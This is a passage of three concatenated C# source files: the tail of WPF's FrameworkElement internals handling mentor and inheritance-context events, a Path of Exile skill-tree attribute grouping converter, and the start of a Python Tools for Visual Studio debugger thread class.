InheritanceContextField.ClearValue(this);
OnInheritanceContextChanged(EventArgs.Empty);
}
}
/// <summary>
/// This is a means for subclasses to get notification
/// of InheritanceContext changes and then they can do
/// their own thing.
/// </summary>
internal override void OnInheritanceContextChangedCore(EventArgs args)
{
DependencyObject oldMentor = MentorField.GetValue(this);
DependencyObject newMentor = Helper.FindMentor(InheritanceContext);
if (oldMentor != newMentor)
{
MentorField.SetValue(this, newMentor);
if (oldMentor != null)
{
DisconnectMentor(oldMentor);
}
if (newMentor != null)
{
ConnectMentor(newMentor);
}
}
}
// connect to a new mentor
void ConnectMentor(DependencyObject mentor)
{
FrameworkObject foMentor = new FrameworkObject(mentor);
// register for InheritedPropertyChanged events
foMentor.InheritedPropertyChanged += new InheritedPropertyChangedEventHandler(OnMentorInheritedPropertyChanged);
// register for ResourcesChanged events
foMentor.ResourcesChanged += new EventHandler(OnMentorResourcesChanged);
// invalidate the mentee's tree
TreeWalkHelper.InvalidateOnTreeChange(
this, null,
foMentor.DO,
true /* isAddOperation */
);
// register for Loaded/Unloaded events.
// Do this last so the tree is ready when Loaded is raised.
if (this.SubtreeHasLoadedChangeHandler)
{
bool isLoaded = foMentor.IsLoaded;
ConnectLoadedEvents(ref foMentor, isLoaded);
if (isLoaded)
{
this.FireLoadedOnDescendentsInternal();
}
}
}
// disconnect from an old mentor
void DisconnectMentor(DependencyObject mentor)
{
FrameworkObject foMentor = new FrameworkObject(mentor);
// unregister for InheritedPropertyChanged events
foMentor.InheritedPropertyChanged -= new InheritedPropertyChangedEventHandler(OnMentorInheritedPropertyChanged);
// unregister for ResourcesChanged events
foMentor.ResourcesChanged -= new EventHandler(OnMentorResourcesChanged);
// invalidate the mentee's tree
TreeWalkHelper.InvalidateOnTreeChange(
this, null,
foMentor.DO,
false /* isAddOperation */
);
// unregister for Loaded/Unloaded events
if (this.SubtreeHasLoadedChangeHandler)
{
bool isLoaded = foMentor.IsLoaded;
DisconnectLoadedEvents(ref foMentor, isLoaded);
if (foMentor.IsLoaded)
{
this.FireUnloadedOnDescendentsInternal();
}
}
}
// called by BroadcastEventHelper when the SubtreeHasLoadedChangedHandler
// flag changes on a mentored FE/FCE
internal void ChangeSubtreeHasLoadedChangedHandler(DependencyObject mentor)
{
FrameworkObject foMentor = new FrameworkObject(mentor);
bool isLoaded = foMentor.IsLoaded;
if (this.SubtreeHasLoadedChangeHandler)
{
ConnectLoadedEvents(ref foMentor, isLoaded);
}
else
{
DisconnectLoadedEvents(ref foMentor, isLoaded);
}
}
// handle the Loaded event from the mentor
void OnMentorLoaded(object sender, RoutedEventArgs e)
{
FrameworkObject foMentor = new FrameworkObject((DependencyObject)sender);
// stop listening for Loaded, start listening for Unloaded
foMentor.Loaded -= new RoutedEventHandler(OnMentorLoaded);
foMentor.Unloaded += new RoutedEventHandler(OnMentorUnloaded);
// broadcast the Loaded event to my framework subtree
//FireLoadedOnDescendentsInternal();
BroadcastEventHelper.BroadcastLoadedSynchronously(this, IsLoaded);
}
// handle the Unloaded event from the mentor
void OnMentorUnloaded(object sender, RoutedEventArgs e)
{
FrameworkObject foMentor = new FrameworkObject((DependencyObject)sender);
// stop listening for Unloaded, start listening for Loaded
foMentor.Unloaded -= new RoutedEventHandler(OnMentorUnloaded);
foMentor.Loaded += new RoutedEventHandler(OnMentorLoaded);
// broadcast the Unloaded event to my framework subtree
//FireUnloadedOnDescendentsInternal();
BroadcastEventHelper.BroadcastUnloadedSynchronously(this, IsLoaded);
}
void ConnectLoadedEvents(ref FrameworkObject foMentor, bool isLoaded)
{
if (foMentor.IsValid)
{
if (isLoaded)
{
foMentor.Unloaded += new RoutedEventHandler(OnMentorUnloaded);
}
else
{
foMentor.Loaded += new RoutedEventHandler(OnMentorLoaded);
}
}
}
void DisconnectLoadedEvents(ref FrameworkObject foMentor, bool isLoaded)
{
if (foMentor.IsValid)
{
if (isLoaded)
{
foMentor.Unloaded -= new RoutedEventHandler(OnMentorUnloaded);
}
else
{
foMentor.Loaded -= new RoutedEventHandler(OnMentorLoaded);
}
}
}
// handle the InheritedPropertyChanged event from the mentor
void OnMentorInheritedPropertyChanged(object sender, InheritedPropertyChangedEventArgs e)
{
TreeWalkHelper.InvalidateOnInheritablePropertyChange(
this, null,
e.Info, false /*skipStartNode*/);
}
// handle the ResourcesChanged event from the mentor
void OnMentorResourcesChanged(object sender, EventArgs e)
{
TreeWalkHelper.InvalidateOnResourcesChange(
this, null,
ResourcesChangeInfo.CatastrophicDictionaryChangeInfo);
}
// Helper method to retrieve and fire the InheritedPropertyChanged event
internal void RaiseInheritedPropertyChangedEvent(ref InheritablePropertyChangeInfo info)
{
EventHandlersStore store = EventHandlersStore;
if (store != null)
{
Delegate handler = store.Get(FrameworkElement.InheritedPropertyChangedKey);
if (handler != null)
{
InheritedPropertyChangedEventArgs args = new InheritedPropertyChangedEventArgs(ref info);
((InheritedPropertyChangedEventHandler)handler)(this, args);
}
}
}
#endregion Internal Methods
//------------------------------------------------------
//
// Internal Properties
//
//------------------------------------------------------
#region Internal Properties
// Indicates if the Style is being re-evaluated
internal bool IsStyleUpdateInProgress
{
get { return ReadInternalFlag(InternalFlags.IsStyleUpdateInProgress); }
set { WriteInternalFlag(InternalFlags.IsStyleUpdateInProgress, value); }
}
// Indicates if the ThemeStyle is being re-evaluated
internal bool IsThemeStyleUpdateInProgress
{
get { return ReadInternalFlag(InternalFlags.IsThemeStyleUpdateInProgress); }
set { WriteInternalFlag(InternalFlags.IsThemeStyleUpdateInProgress, value); }
}
// Indicates that we are storing "container template" provided values
// on this element -- see StyleHelper.ParentTemplateValuesField
internal bool StoresParentTemplateValues
{
get { return ReadInternalFlag(InternalFlags.StoresParentTemplateValues); }
set { WriteInternalFlag(InternalFlags.StoresParentTemplateValues, value); }
}
// Indicates if this instance has had NumberSubstitutionChanged on it
internal bool HasNumberSubstitutionChanged
{
get { return ReadInternalFlag(InternalFlags.HasNumberSubstitutionChanged); }
set { WriteInternalFlag(InternalFlags.HasNumberSubstitutionChanged, value); }
}
// Indicates if this instance has a tree that
// was generated via a Template
internal bool HasTemplateGeneratedSubTree
{
get { return ReadInternalFlag(InternalFlags.HasTemplateGeneratedSubTree); }
set { WriteInternalFlag(InternalFlags.HasTemplateGeneratedSubTree, value); }
}
// Indicates if this instance has an implicit style
internal bool HasImplicitStyleFromResources
{
get { return ReadInternalFlag(InternalFlags.HasImplicitStyleFromResources); }
set { WriteInternalFlag(InternalFlags.HasImplicitStyleFromResources, value); }
}
// Indicates if there are any implicit styles in the ancestry
internal bool ShouldLookupImplicitStyles
{
get { return ReadInternalFlag(InternalFlags.ShouldLookupImplicitStyles); }
set { WriteInternalFlag(InternalFlags.ShouldLookupImplicitStyles, value); }
}
// Indicates if this instance has a style set by a generator
internal bool IsStyleSetFromGenerator
{
get { return ReadInternalFlag2(InternalFlags2.IsStyleSetFromGenerator); }
set { WriteInternalFlag2(InternalFlags2.IsStyleSetFromGenerator, value); }
}
// Indicates if the StyleProperty has changed following a UpdateStyleProperty
// call in OnAncestorChangedInternal
internal bool HasStyleChanged
{
get { return ReadInternalFlag2(InternalFlags2.HasStyleChanged); }
set { WriteInternalFlag2(InternalFlags2.HasStyleChanged, value); }
}
// Indicates if the TemplateProperty has changed during a tree walk
internal bool HasTemplateChanged
{
get { return ReadInternalFlag2(InternalFlags2.HasTemplateChanged); }
set { WriteInternalFlag2(InternalFlags2.HasTemplateChanged, value); }
}
// Indicates if the StyleProperty has been invalidated during a tree walk
internal bool HasStyleInvalidated
{
get { return ReadInternalFlag2(InternalFlags2.HasStyleInvalidated); }
set { WriteInternalFlag2(InternalFlags2.HasStyleInvalidated, value); }
}
// Indicates that the StyleProperty full fetch has been
// performed atleast once on this node
internal bool HasStyleEverBeenFetched
{
get { return ReadInternalFlag(InternalFlags.HasStyleEverBeenFetched); }
set { WriteInternalFlag(InternalFlags.HasStyleEverBeenFetched, value); }
}
// Indicates that the StyleProperty has been set locally on this element
internal bool HasLocalStyle
{
get { return ReadInternalFlag(InternalFlags.HasLocalStyle); }
set { WriteInternalFlag(InternalFlags.HasLocalStyle, value); }
}
// Indicates that the ThemeStyleProperty full fetch has been
// performed atleast once on this node
internal bool HasThemeStyleEverBeenFetched
{
get { return ReadInternalFlag(InternalFlags.HasThemeStyleEverBeenFetched); }
set { WriteInternalFlag(InternalFlags.HasThemeStyleEverBeenFetched, value); }
}
// Indicates that an ancestor change tree walk is progressing
// through the given node
internal bool AncestorChangeInProgress
{
get { return ReadInternalFlag(InternalFlags.AncestorChangeInProgress); }
set { WriteInternalFlag(InternalFlags.AncestorChangeInProgress, value); }
}
// Stores the inheritable properties that will need to invalidated on the children of this
// node.This is a transient cache that is active only during an AncestorChange operation.
internal FrugalObjectList<DependencyProperty> InheritableProperties
{
get { return _inheritableProperties; }
set { _inheritableProperties = value; }
}
// Says if there is a loaded event pending
internal object[] LoadedPending
{
get { return (object[]) GetValue(LoadedPendingProperty); }
}
// Says if there is an unloaded event pending
internal object[] UnloadedPending
{
get { return (object[]) GetValue(UnloadedPendingProperty); }
}
// Indicates if this instance has multiple inheritance contexts
internal override bool HasMultipleInheritanceContexts
{
get { return ReadInternalFlag2(InternalFlags2.HasMultipleInheritanceContexts); }
}
// Indicates if the current element has or had mentees at some point.
internal bool PotentiallyHasMentees
{
get { return ReadInternalFlag(InternalFlags.PotentiallyHasMentees); }
set
{
Debug.Assert(value == true,
"This flag is set to true when a mentee attaches a listeners to either the " +
"InheritedPropertyChanged event or the ResourcesChanged event. It never goes " +
"back to being false because this would involve counting the remaining listeners " +
"for either of the aforementioned events. This seems like an overkill for the perf " +
"optimization we are trying to achieve here.");
WriteInternalFlag(InternalFlags.PotentiallyHasMentees, value);
}
}
/// <summary>
/// ResourcesChanged private key
/// </summary>
internal static readonly EventPrivateKey ResourcesChangedKey = new EventPrivateKey();
/// <summary>
/// ResourceReferenceExpressions on non-[FE/FCE] add listeners to this
/// event so they can get notified when there is a ResourcesChange
/// </summary>
/// <remarks>
/// make this pay-for-play by storing handlers
/// in EventHandlersStore
/// </remarks>
internal event EventHandler ResourcesChanged
{
add
{
PotentiallyHasMentees = true;
EventHandlersStoreAdd(FrameworkElement.ResourcesChangedKey, value);
}
remove { EventHandlersStoreRemove(FrameworkElement.ResourcesChangedKey, value); }
}
/// <summary>
/// InheritedPropertyChanged private key
/// </summary>
internal static readonly EventPrivateKey InheritedPropertyChangedKey = new EventPrivateKey();
/// <summary>
/// Mentees add listeners to this
/// event so they can get notified when there is a InheritedPropertyChange
/// </summary>
/// <remarks>
/// make this pay-for-play by storing handlers
/// in EventHandlersStore
/// </remarks>
internal event InheritedPropertyChangedEventHandler InheritedPropertyChanged
{
add
{
PotentiallyHasMentees = true;
EventHandlersStoreAdd(FrameworkElement.InheritedPropertyChangedKey, value);
}
remove { EventHandlersStoreRemove(FrameworkElement.InheritedPropertyChangedKey, value); }
}
#endregion Internal Properties
//------------------------------------------------------
//
// Internal Fields
//
//------------------------------------------------------
#region Internal Fields
// Optimization, to avoid calling FromSystemType too often
internal new static DependencyObjectType DType = DependencyObjectType.FromSystemTypeInternal(typeof(FrameworkElement));
#endregion Internal Fields
//------------------------------------------------------
//
// Private Fields
//
//------------------------------------------------------
#region Private Fields
// The parent element in logical tree.
private new DependencyObject _parent;
private FrugalObjectList<DependencyProperty> _inheritableProperties;
private static readonly UncommonField<DependencyObject> InheritanceContextField = new UncommonField<DependencyObject>();
private static readonly UncommonField<DependencyObject> MentorField = new UncommonField<DependencyObject>();
#endregion Private Fields
}
}
| |
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Windows.Data;
using POESKillTree.Localization;
using POESKillTree.ViewModels;
namespace POESKillTree.Utils.Converter
{
[ValueConversion(typeof (string), typeof (string))]
//list view sorter here
public class GroupStringConverter : IValueConverter
{
public Dictionary<string, AttributeGroup> AttributeGroups = new Dictionary<string, AttributeGroup>();
private static readonly string Keystone = L10n.Message("Keystone");
private static readonly string Weapon = L10n.Message("Weapon");
private static readonly string Charges = L10n.Message("Charges");
private static readonly string Minion = L10n.Message("Minion");
private static readonly string Trap = L10n.Message("Trap");
private static readonly string Totem = L10n.Message("Totem");
private static readonly string Curse = L10n.Message("Curse");
private static readonly string Aura = L10n.Message("Aura");
private static readonly string CriticalStrike = L10n.Message("Critical Strike");
private static readonly string Shield = L10n.Message("Shield");
private static readonly string Block = L10n.Message("Block");
private static readonly string General = L10n.Message("General");
private static readonly string Defense = L10n.Message("Defense");
private static readonly string Spell = L10n.Message("Spell");
private static readonly string CoreAttributes = L10n.Message("Core Attributes");
private static readonly List<string[]> Groups = new List<string[]>
{
new[] {"Share Endurance, Frenzy and Power Charges with nearby party members", Keystone},
new[] {"and Endurance Charges on Hit with Claws", Weapon},
new[] {"Endurance Charge", Charges},
new[] {"Frenzy Charge", Charges},
new[] {"Power Charge", Charges},
new[] {"Chance to Dodge", Keystone},
new[] {"Spell Damage when on Low Life", Keystone},
new[] {"Cold Damage Converted to Fire Damage", Keystone},
new[] {"Lightning Damage Converted to Fire Damage", Keystone},
new[] {"Physical Damage Converted to Fire Damage", Keystone},
new[] {"Deal no Non-Fire Damage", Keystone},
new[] {"All bonuses from an equipped Shield apply to your Minions instead of you", Keystone},
new[] {"additional totem", Keystone},
new[] {"Cannot be Stunned", Keystone},
new[] {"Cannot Evade enemy Attacks", Keystone},
new[] {"Spend Energy Shield before Mana for Skill Costs", Keystone},
new[] {"Energy Shield protects Mana instead of Life", Keystone},
new[] {"Converts all Evasion Rating to Armour. Dexterity provides no bonus to Evasion Rating", Keystone},
new[] {"Doubles chance to Evade Projectile Attacks", Keystone},
new[] {"Enemies you hit with Elemental Damage temporarily get", Keystone},
new[] {"Life Leech applies instantly", Keystone},
new[] {"Life Leech applies to Energy Shield instead of Life", Keystone},
new[] {"Life Regeneration applies to Energy Shield instead of Life", Keystone},
new[] {"Immune to Chaos Damage", Keystone},
new[] {"Minions explode when reduced to low life", Keystone},
new[] {"Never deal Critical Strikes", Keystone},
new[] {"Projectile Attacks deal up to", Keystone},
new[] {"Removes all mana", Keystone},
new[] {"Share Endurance", Keystone},
new[] {"The increase to Physical Damage from Strength applies to Projectile Attacks as well as Melee Attacks", Keystone},
new[] {"Damage is taken from Mana before Life", Keystone},
new[] {"You can't deal Damage with your Skills yourself", Keystone},
new[] {"Your hits can't be Evaded", Keystone},
new[] {"Maximum number of Spectres", Minion},
new[] {"Maximum number of Zombies", Minion},
new[] {"Maximum number of Skeletons", Minion},
new[] {"Minions deal", Minion},
new[] {"Minions have", Minion},
new[] {"Minions Leech", Minion},
new[] {"Minions Regenerate", Minion},
new[] {"Mine Damage", Trap},
new[] {"Trap Damage", Trap},
new[] {"Trap Duration", Trap},
new[] {"Trap Trigger Radius", Trap},
new[] {"Mine Duration", Trap},
new[] {"Mine Laying Speed", Trap},
new[] {"Trap Throwing Speed", Trap},
new[] {"Can set up to", Trap},
new[] {"Detonating Mines is Instant", Trap},
new[] {"Mine Damage Penetrates", Trap},
new[] {"Mines cannot be Damaged", Trap},
new[] {"Trap Damage Penetrates", Trap},
new[] {"Traps cannot be Damaged", Trap},
new[] {"Totem Duration", Totem},
new[] {"Casting Speed for Summoning Totems", Totem},
new[] {"Totem Life", Totem},
new[] {"Totem Damage", Totem},
new[] {"Attacks used by Totems", Totem},
new[] {"Spells Cast by Totems", Totem},
new[] {"Totems gain", Totem},
new[] {"Totems have", Totem},
new[] {"Curse Duration", Curse},
new[] {"Effect of your Curses", Curse},
new[] {"Radius of Curses", Curse},
new[] {"Cast Speed for Curses", Curse},
new[] {"Enemies can have 1 additional Curse", Curse},
new[] {"Mana Reserved", Aura},
new[] {"effect of Auras", Aura},
new[] {"Radius of Auras", Aura},
new[] {"Effect of Buffs on You", Aura},
new[] {"Weapon Critical Strike Chance", CriticalStrike},
new[] {"increased Critical Strike Chance", CriticalStrike},
new[] {"increased Critical Strike Multiplier", CriticalStrike},
new[] {"Global Critical Strike", CriticalStrike},
new[] {"Critical Strikes with Daggers Poison the enemy", CriticalStrike},
new[] {"Knocks Back enemies if you get a Critical Strike", CriticalStrike},
new[] {"increased Melee Critical Strike Multiplier", CriticalStrike},
new[] {"increased Melee Critical Strike Chance", CriticalStrike},
new[] {"Elemental Resistances while holding a Shield", Shield},
new[] {"Chance to Block Spells with Shields", Block},
new[] {"Armour from equipped Shield", Shield},
new[] {"additional Block Chance while Dual Wielding or Holding a shield", Block},
new[] {"Chance to Block with Shields", Block},
new[] {"Block and Stun Recovery", Block},
new[] {"Energy Shield from equipped Shield", Shield},
new[] {"Block Recovery", Block},
new[] {"Defences from equipped Shield", Shield},
new[] {"Damage Penetrates", General}, //needs to be here to pull into the correct tab.
new[] {"reduced Extra Damage from Critical Strikes", Defense},
new[] {"Armour", Defense},
new[] {"all Elemental Resistances", Defense},
new[] {"Chaos Resistance", Defense},
new[] {"Evasion Rating", Defense},
new[] {"Cold Resistance", Defense},
new[] {"Lightning Resistance", Defense},
new[] {"maximum Mana", Defense},
new[] {"maximum Energy Shield", Defense},
new[] {"Fire Resistance", Defense},
new[] {"maximum Life", Defense},
new[] {"Light Radius", Defense},
new[] {"Evasion Rating and Armour", Defense},
new[] {"Energy Shield Recharge", Defense},
new[] {"Life Regenerated", Defense},
new[] {"Melee Physical Damage taken reflected to Attacker", Defense},
new[] {"Flask Recovery Speed", Defense},
new[] {"Avoid Elemental Status Ailments", Defense},
new[] {"Damage taken Gained as Mana when Hit", Defense},
new[] {"Avoid being Chilled", Defense},
new[] {"Avoid being Frozen", Defense},
new[] {"Avoid being Ignited", Defense},
new[] {"Avoid being Shocked", Defense},
new[] {"Avoid being Stunned", Defense},
new[] {"increased Stun Recovery", Defense},
new[] {"Flasks", Defense},
new[] {"Flask effect duration", Defense},
new[] {"Mana Regeneration Rate", Defense},
new[] {"maximum Mana", Defense},
new[] {"Armour", Defense},
new[] {"Avoid interruption from Stuns while Casting", Defense},
new[] {"Movement Speed", Defense},
new[] {"Mana Recovery from Flasks", Defense},
new[] {"Life Recovery from Flasks", Defense},
new[] {"Enemies Cannot Leech Life From You", Defense},
new[] {"Enemies Cannot Leech Mana From You", Defense},
new[] {"Ignore all Movement Penalties", Defense},
new[] {"Physical Damage Reduction", Defense},
new[] {"Hits that Stun Enemies have Culling Strike", General},
new[] {"increased Damage against Frozen, Shocked or Ignited Enemies", General},
new[] {"Shock Duration on enemies", General},
new[] {"Radius of Area Skills", General},
new[] {"chance to Ignite", General},
new[] {"chance to Shock", General},
new[] {"Mana Gained on Kill", General},
new[] {"Life gained on General", General},
new[] {"Burning Damage", General},
new[] {"Projectile Damage", General},
new[] {"Knock enemies Back on hit", General},
new[] {"chance to Freeze", General},
new[] {"Projectile Speed", General},
new[] {"Projectiles Piercing", General},
new[] {"Ignite Duration on enemies", General},
new[] {"Knockback Distance", General},
new[] {"Mana Cost of Skills", General},
new[] {"Chill Duration on enemies", General},
new[] {"Freeze Duration on enemies", General},
new[] {"Damage over Time", General},
new[] {"Chaos Damage", General},
new[] {"Enemies Become Chilled as they Unfreeze", General},
new[] {"Skill Effect Duration", General},
new[] {"Life Gained on Kill", General},
new[] {"Area Damage", General},
new[] {"Enemy Stun Threshold", General},
new[] {"Stun Duration", General},
new[] {"increased Damage against Enemies on Low Life", General},
new[] {"chance to gain Onslaught", General},
new[] {"Spell Damage", Spell},
new[] {"Elemental Damage with Spells", Spell},
new[] {"Accuracy Rating", Weapon},
new[] {"Mana gained for each enemy hit by your Attacks", Weapon},
new[] {"Melee Weapon and Unarmed range", Weapon},
new[] {"Life gained for each enemy hit by your Attacks", Weapon},
new[] {"chance to cause Bleeding", Weapon},
new[] {"Wand Physical Damage", Weapon},
new[] {"Attack Speed", Weapon},
new[] {"Melee Attack Speed", Weapon},
new[] {"Melee Damage", Weapon},
new[] {"Physical Damage with Claws", Weapon},
new[] {"Block Chance With Staves", Block},
new[] {"Physical Damage with Daggers", Weapon},
new[] {"Physical Attack Damage Leeched as Mana", Weapon},
new[] {"Physical Damage Dealt with Claws Leeched as Mana", Weapon},
new[] {"Arrow Speed", Weapon},
new[] {"Cast Speed while Dual Wielding", Weapon},
new[] {"Physical Damage with Staves", Weapon},
new[] {"Attack Damage with Main Hand", Weapon},
new[] {"Attack Damage against Bleeding Enemies", Weapon},
new[] {"Physical Damage with Axes", Weapon},
new[] {"Physical Weapon Damage while Dual Wielding", Weapon},
new[] {"Physical Damage with One Handed Melee Weapons", Weapon},
new[] {"Physical Damage with Two Handed Melee Weapons", Weapon},
new[] {"Physical Damage with Maces", Weapon},
new[] {"Physical Damage with Bows", Weapon},
new[] {"enemy chance to Block Sword Attacks", Block},
new[] {"additional Block Chance while Dual Wielding", Block},
new[] {"mana gained when you Block", Block},
new[] {"Melee Physical Damage", Weapon},
new[] {"Physical Damage with Swords", Weapon},
new[] {"Elemental Damage with Wands", Weapon},
new[] {"Elemental Damage with Maces", Weapon},
new[] {"Physical Attack Damage Leeched as Life", Weapon},
new[] {"Cold Damage with Weapons", Weapon},
new[] {"Fire Damage with Weapons", Weapon},
new[] {"Lightning Damage with Weapons", Weapon},
new[] {"Physical Damage Dealt with Claws Leeched as Life", Weapon},
new[] {"Elemental Damage with Weapons", Weapon},
new[] {"Physical Damage with Wands", Weapon},
new[] {"Damage with Wands", Weapon},
new[] {"increased Physical Damage", General},
new[] {"Elemental Damage", General},
new[] {"Cast Speed", Spell},
new[] {"Cold Damage", General},
new[] {"Fire Damage", General},
new[] {"Lightning Damage", General},
new[] {"Strength", CoreAttributes},
new[] {"Intelligence", CoreAttributes},
new[] {"Dexterity", CoreAttributes},
};
public GroupStringConverter()
{
if (File.Exists("groups.txt"))
{
Groups.Clear();
foreach (string s in File.ReadAllLines("groups.txt"))
{
string[] sa = s.Split(',');
Groups.Add(sa);
}
}
foreach (var group in Groups)
{
if (!AttributeGroups.ContainsKey(group[1]))
{
AttributeGroups.Add(group[1], new AttributeGroup(group[1]));
}
}
AttributeGroups.Add("Everything else", new AttributeGroup("Everything else"));
}
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
{
return Convert(value.ToString());
}
public AttributeGroup Convert(string s)
{
foreach (var gp in Groups)
{
if (s.ToLower().Contains(gp[0].ToLower()))
{
return AttributeGroups[gp[1]];
}
}
return AttributeGroups["Everything else"];
}
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
{
throw new NotSupportedException();
}
}
}
| |
// Python Tools for Visual Studio
// Copyright(c) Microsoft Corporation
// All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the License); you may not use
// this file except in compliance with the License. You may obtain a copy of the
// License at http://www.apache.org/licenses/LICENSE-2.0
//
// THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS
// OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY
// IMPLIED WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,
// MERCHANTABLITY OR NON-INFRINGEMENT.
//
// See the Apache Version 2.0 License for specific language governing
// permissions and limitations under the License.
using System;
using System.Collections.Generic;
using System.Diagnostics;
using Microsoft.VisualStudio;
using Microsoft.VisualStudio.Debugger.Interop;
namespace Microsoft.PythonTools.Debugger.DebugEngine {
// This class implements IDebugThread2 which represents a thread running in a program.
class AD7Thread : IDisposable, IDebugThread2, IDebugThread100 {
private readonly AD7Engine _engine;
private readonly PythonThread _debuggedThread;
private readonly uint _vsTid;
public AD7Thread(AD7Engine engine, PythonThread debuggedThread) {
_engine = engine;
_debuggedThread = debuggedThread;
_vsTid = engine.RegisterThreadId(debuggedThread.Id);
}
public void Dispose() {
_engine.UnregisterThreadId(_vsTid);
}
private string GetCurrentLocation(bool fIncludeModuleName) {
if (_debuggedThread.Frames != null && _debuggedThread.Frames.Count > 0) {
return _debuggedThread.Frames[0].FunctionName;
}
return "<unknown location, not in Python code>";
}
internal PythonThread GetDebuggedThread() {
return _debuggedThread;
}
private string Name {
get {
string result = _debuggedThread.Name;
// If our fake ID is actually different from the real ID, prepend real ID info to thread name so that user can see it somewhere.
if (_vsTid != _debuggedThread.Id) {
result = "[" + _debuggedThread.Id + "] " + result;
}
return result;
}
}
#region IDebugThread2 Members
// Determines whether the next statement can be set to the given stack frame and code context.
// We need to try the step to verify it accurately so we allow say ok here.
int IDebugThread2.CanSetNextStatement(IDebugStackFrame2 stackFrame, IDebugCodeContext2 codeContext) {
return VSConstants.S_OK;
}
// Retrieves a list of the stack frames for this thread.
// We currently call into the process and get the frames. We might want to cache the frame info.
int IDebugThread2.EnumFrameInfo(enum_FRAMEINFO_FLAGS dwFieldSpec, uint nRadix, out IEnumDebugFrameInfo2 enumObject) {
var stackFrames = _debuggedThread.Frames;
if (stackFrames == null) {
enumObject = null;
return VSConstants.E_FAIL;
}
int numStackFrames = stackFrames.Count;
FRAMEINFO[] frameInfoArray;
frameInfoArray = new FRAMEINFO[numStackFrames];
for (int i = 0; i < numStackFrames; i++) {
AD7StackFrame frame = new AD7StackFrame(_engine, this, stackFrames[i]);
frame.SetFrameInfo(dwFieldSpec, out frameInfoArray[i]);
}
enumObject = new AD7FrameInfoEnum(frameInfoArray);
return VSConstants.S_OK;
}
// Get the name of the thread.
int IDebugThread2.GetName(out string threadName) {
threadName = Name;
return VSConstants.S_OK;
}
// Return the program that this thread belongs to.
int IDebugThread2.GetProgram(out IDebugProgram2 program) {
program = _engine;
return VSConstants.S_OK;
}
// Gets the system thread identifier.
int IDebugThread2.GetThreadId(out uint threadId) {
threadId = _vsTid;
return VSConstants.S_OK;
}
// Gets properties that describe a thread.
int IDebugThread2.GetThreadProperties(enum_THREADPROPERTY_FIELDS dwFields, THREADPROPERTIES[] propertiesArray) {
THREADPROPERTIES props = new THREADPROPERTIES();
if ((dwFields & enum_THREADPROPERTY_FIELDS.TPF_ID) != 0) {
props.dwThreadId = _vsTid;
props.dwFields |= enum_THREADPROPERTY_FIELDS.TPF_ID;
}
if ((dwFields & enum_THREADPROPERTY_FIELDS.TPF_SUSPENDCOUNT) != 0) {
// sample debug engine doesn't support suspending threads
props.dwFields |= enum_THREADPROPERTY_FIELDS.TPF_SUSPENDCOUNT;
}
if ((dwFields & enum_THREADPROPERTY_FIELDS.TPF_STATE) != 0) {
props.dwThreadState = (uint)enum_THREADSTATE.THREADSTATE_RUNNING;
props.dwFields |= enum_THREADPROPERTY_FIELDS.TPF_STATE;
}
if ((dwFields & enum_THREADPROPERTY_FIELDS.TPF_PRIORITY) != 0) {
props.bstrPriority = "Normal";
props.dwFields |= enum_THREADPROPERTY_FIELDS.TPF_PRIORITY;
}
if ((dwFields & enum_THREADPROPERTY_FIELDS.TPF_NAME) != 0) {
props.bstrName = Name;
props.dwFields |= enum_THREADPROPERTY_FIELDS.TPF_NAME;
}
if ((dwFields & enum_THREADPROPERTY_FIELDS.TPF_LOCATION) != 0) {
props.bstrLocation = GetCurrentLocation(true);
props.dwFields |= enum_THREADPROPERTY_FIELDS.TPF_LOCATION;
}
propertiesArray[0] = props;
return VSConstants.S_OK;
}
// Resume a thread.
// This is called when the user chooses "Unfreeze" from the threads window when a thread has previously been frozen.
int IDebugThread2.Resume(out uint suspendCount) {
// We don't support suspending/resuming threads
suspendCount = 0;
return VSConstants.E_NOTIMPL;
}
internal const int E_CANNOT_SET_NEXT_STATEMENT_ON_EXCEPTION = unchecked((int)0x80040105);
// Sets the next statement to the given stack frame and code context.
int IDebugThread2.SetNextStatement(IDebugStackFrame2 stackFrame, IDebugCodeContext2 codeContext) {
var frame = (AD7StackFrame)stackFrame;
var context = (AD7MemoryAddress)codeContext;
if (frame.StackFrame.SetLineNumber((int)context.LineNumber + 1)) {
return VSConstants.S_OK;
} else if (frame.StackFrame.Thread.Process.StoppedForException) {
return E_CANNOT_SET_NEXT_STATEMENT_ON_EXCEPTION;
}
return VSConstants.E_FAIL;
}
// suspend a thread.
// This is called when the user chooses "Freeze" from the threads window
int IDebugThread2.Suspend(out uint suspendCount) {
// We don't support suspending/resuming threads
suspendCount = 0;
return VSConstants.E_NOTIMPL;
}
#endregion
#region IDebugThread100 Members
int IDebugThread100.SetThreadDisplayName(string name) {
// Not necessary to implement in the debug engine. Instead
// it is implemented in the SDM.
return VSConstants.E_NOTIMPL;
}
int IDebugThread100.GetThreadDisplayName(out string name) {
// Not necessary to implement in the debug engine. Instead
// it is implemented in the SDM, which calls GetThreadProperties100()
name = "";
return VSConstants.E_NOTIMPL;
}
// Returns whether this thread can be used to do function/property evaluation.
int IDebugThread100.CanDoFuncEval() {
return VSConstants.S_FALSE;
}
int IDebugThread100.SetFlags(uint flags) {
// Not necessary to implement in the debug engine. Instead
// it is implemented in the SDM.
return VSConstants.E_NOTIMPL;
}
int IDebugThread100.GetFlags(out uint flags) {
// Not necessary to implement in the debug engine. Instead
// it is implemented in the SDM.
flags = 0;
return VSConstants.E_NOTIMPL;
}
int IDebugThread100.GetThreadProperties100(uint dwFields, THREADPROPERTIES100[] props) {
int hRes = VSConstants.S_OK;
// Invoke GetThreadProperties to get the VS7/8/9 properties
THREADPROPERTIES[] props90 = new THREADPROPERTIES[1];
enum_THREADPROPERTY_FIELDS dwFields90 = (enum_THREADPROPERTY_FIELDS)(dwFields & 0x3f);
hRes = ((IDebugThread2)this).GetThreadProperties(dwFields90, props90);
props[0].bstrLocation = props90[0].bstrLocation;
props[0].bstrName = props90[0].bstrName;
props[0].bstrPriority = props90[0].bstrPriority;
props[0].dwFields = (uint)props90[0].dwFields;
props[0].dwSuspendCount = props90[0].dwSuspendCount;
props[0].dwThreadId = props90[0].dwThreadId;
props[0].dwThreadState = props90[0].dwThreadState;
// Populate the new fields
